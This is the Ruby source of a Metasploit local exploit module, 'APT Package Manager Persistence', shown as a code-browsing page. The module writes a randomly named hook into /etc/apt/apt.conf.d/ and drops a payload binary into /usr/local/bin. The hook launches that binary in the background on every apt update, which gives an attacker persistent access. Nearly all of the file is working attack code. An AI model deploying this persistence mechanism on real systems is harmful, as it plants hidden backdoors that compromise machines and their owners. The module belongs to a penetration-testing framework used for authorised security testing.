Path: blob/master/modules/exploits/linux/local/apt_package_manager_persistence.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking7include Msf::Exploit::EXE8include Msf::Exploit::FileDropper9include Msf::Post::File10include Msf::Post::Linux::System1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'APT Package Manager Persistence',17'Description' => %q{18This module will run a payload when the package manager is used. No19handler is ran automatically so you must configure an appropriate20exploit/multi/handler to connect. This module creates a pre-invoke hook21for APT in apt.conf.d. The hook name syntax is numeric followed by text.22},23'License' => MSF_LICENSE,24'Author' => ['Aaron Ringo'],25'Platform' => ['linux', 'unix'],26'Arch' => [27ARCH_CMD,28ARCH_X86,29ARCH_X64,30ARCH_ARMLE,31ARCH_AARCH64,32ARCH_PPC,33ARCH_MIPSLE,34ARCH_MIPSBE35],36'SessionTypes' => ['shell', 'meterpreter'],37'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },38'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian39'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],40'Targets' => [['Automatic', {}]],41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('HOOKNAME', [false, 'Name of hook file to write']),53OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])54]55)5657register_advanced_options(58[59OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])60]61)62end6364def exploit65hook_path = '/etc/apt/apt.conf.d/'66unless writable? hook_path67fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"68end69hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")7071backdoor_path = datastore['WritableDir']72unless writable? backdoor_path73fail_with Failure::BadConfig, "#{backdoor_path} is not writable"74end75backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)76backdoor_path << backdoor_name7778print_status('Attempting to write hook:')79hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"80write_file(hook_path, hook_script)8182unless exist? hook_path83fail_with Failure::Unknown, 'Failed to write Hook'84end85print_status("Wrote #{hook_path}")8687if payload.arch.first == 'cmd'88write_file(backdoor_path, payload.encoded)89else90write_file(backdoor_path, generate_payload_exe)91end9293unless exist? backdoor_path94fail_with Failure::Unknown, "Failed to write #{backdoor_path}"95end96print_status("Backdoor uploaded #{backdoor_path}")97print_status('Backdoor will run on next APT update')9899# permissions chosen to reflect common perms in /usr/local/bin/100chmod(backdoor_path, 0755)101end102end103104105